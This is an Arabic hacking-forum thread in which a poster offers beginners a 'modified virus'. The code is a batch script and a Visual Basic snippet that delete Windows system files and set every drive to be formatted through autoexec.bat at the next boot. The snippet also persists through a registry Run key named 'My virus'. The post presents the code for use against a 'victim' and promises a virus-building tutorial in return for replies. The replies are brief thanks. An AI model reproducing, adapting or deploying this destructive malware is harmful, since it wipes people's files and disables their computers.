فيروس معدل بخاصيتين قويتين(للمبتدئين مع البرهان الأسود)
4 مشترك
منضمة أنونيموس المغربية :: الأقسام العامة ( الهــــاكر و الإختـــــراق ) وافضل طرق والحماية :: ... ::: قسـم الفايروسات ::: ...
صفحة 1 من اصل 1
فيروس معدل بخاصيتين قويتين(للمبتدئين مع البرهان الأسود)
بسم الله الرحمن الرحيم
و الصلاة والسلام على اشرف المرسلين
هذا كود لفيروس لكنه ليس مجرد كود بل هو معدل بخاصيتين و هما :
الخاصية الأولى تمكن الفيروس من نسخ نفسه في جميع الملفات أي حتى و لو قام بمسحه من المكتب فلن يكون مسحه نهائي .
الخاصية الثانية تأجل عمل الفيروس إلى ما بعد تشغيل الجهاز من جديد حتى و لو قام الضحية بفتحه
و الكود هو كما يلي :
echo Say Good Bye To Your Computer
pause
del %WinDir%\explorer.exe
del %WinDir%\NOTEPAD.EXE
del %WinDir%\ISUninst.exe
del %WinDir%\wjview.exe
del %WinDir%\win.ini
del %WinDir%\system.ini
cls
call attrib -h -r c:autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:autoexec.bat
echo format d: /q /u /autotest >nul >>c:autoexec.bat
echo format e: /q /u /autotest >nul >>c:autoexec.bat
echo format f: /q /u /autotest >nul >>c:autoexec.bat
echo say bye bye to your computer
pause
cls
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
cd\
deltree /y *.ini
cd\
deltree /y *.exe
cd\
deltree /y *.txt
cd\
deltree /y *.bat
cd\
deltree /y *.nls
cd\
deltree /y *.reg
cd\
deltree /y *.scr
cd\
deltree /y *.vbs
cd\
deltree /y *.dat
cd\
deltree /y *.*
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Sub Command1_Click()
Dim InputValue As String
Dim nBufferKey As Long, nBufferSubKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
InputValue = "c:\windows\system\Project12.exe"
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
On Error Resume Next
Dim copy, copy2
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
FileCopy copy, copy2
أعزائي و إخوتي لو وجدت الردود و المشاركات لموضوعي هذا فسوف أواصل و أقدم لكم شرحا شاملا لهذا الفيروس بالإضافة إلى شرح كيفية تصميم فيروس بنفسك , بس شرط الردود , على الأقل 10 مشاركات , نتمنى ما كبرتش بطني , و شكرا , من فضلكم الردود .
صادق برهاني
كم تأخر قدومك كثيراً فقد أنتظرتك طويلاً لكن المهم أني
وجدتك كان يوماً من أسعد أيامي وأحلى لحظاتي يوماً
ضحك لي فيه الزمن بعد طول إنتظار وبدون سابق إنذار
فأقصى ما تمنيته أن أجد ذلك البرهان يكلمني ووجدتك
أنت لا تقل لماذا وكيف لأني أنا نفسي لاأعرف كيف ولماذا ؟
ربما لأنك أنت هو برهاني الأسود
Sniper- أنونيموس المغرب
- المشاركات : 449
تاريخ التسجيل : 15/01/2009
رد: فيروس معدل بخاصيتين قويتين(للمبتدئين مع البرهان الأسود)
مشكووووووووووووووووووووووووووووووووووووووور
alabad- .. :: عضو مبتدء :: ..
- المشاركات : 1
تاريخ التسجيل : 16/07/2013
imane- .. :: عضو مبتدء :: ..
- المشاركات : 1
تاريخ التسجيل : 21/07/2013
رد: فيروس معدل بخاصيتين قويتين(للمبتدئين مع البرهان الأسود)
شكرا لك على هذا الفيرووووووووو
kingboy hackers- .. :: عضو مبتدء :: ..
- المشاركات : 6
العمر : 30
العمل/الترفيه : الصيد
تاريخ التسجيل : 28/07/2013
مواضيع مماثلة
» صمم فيروس غير مكتشف مع البرهان الأسود للمبتدئين
» موطن الفيروسات ( خاص بالمبتدئين مع البرهان الاسود)
» موسوعة باتشات للمبتدئين والمتوسطين + شرح لكل باتش
» موطن الفيروسات ( خاص بالمبتدئين مع البرهان الاسود)
» موسوعة باتشات للمبتدئين والمتوسطين + شرح لكل باتش
منضمة أنونيموس المغربية :: الأقسام العامة ( الهــــاكر و الإختـــــراق ) وافضل طرق والحماية :: ... ::: قسـم الفايروسات ::: ...
صفحة 1 من اصل 1
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى
20/2/2021, 8:35 am من طرف Ander
» اول مشاركه معاكم حبايب
3/7/2015, 11:03 am من طرف labhiri
» كيف تعرف اللي يدق على جوالك ولد ولا .. بنت
26/12/2014, 8:39 am من طرف ضما الفراق
» 3 طرق لاختيار كلمة مرور لا يمكن اختراقه
18/9/2014, 6:30 am من طرف drissharboul
» فك كلمة سر الملفات المضغوطة
6/8/2014, 11:30 am من طرف hakilos
» ماذا تفعل الـ alt في الفيسبوك
25/7/2014, 7:40 pm من طرف 007anounyme
» *-_-* انضم الى hakerblack TEAM *-_-*
25/7/2014, 7:14 pm من طرف 007anounyme
» ملف صغير لتدمير الهاردسك Hard disk Killer
25/7/2014, 6:45 pm من طرف 007anounyme
» هل تريد ان تـعـرف جوالك أصلي ام لا !!!! تـعـال
15/6/2014, 11:25 am من طرف alsheikh